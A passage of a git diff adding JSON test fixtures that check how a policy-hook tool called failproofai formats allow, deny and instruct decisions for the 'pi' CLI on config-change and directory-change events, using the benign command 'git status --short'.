-0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d0fa99b2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d33f9419 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..512e37cb --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7165ef9e --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..71cd7346 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..aa8ad983 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..37406ff2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..efaec37b --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..215dfb9c --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..00a004e3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a2add658 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..89ffee94 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4c3a3729 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..80278848 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c46183ac --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..44ddee85 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..daf40c58 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f55cd8db --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + 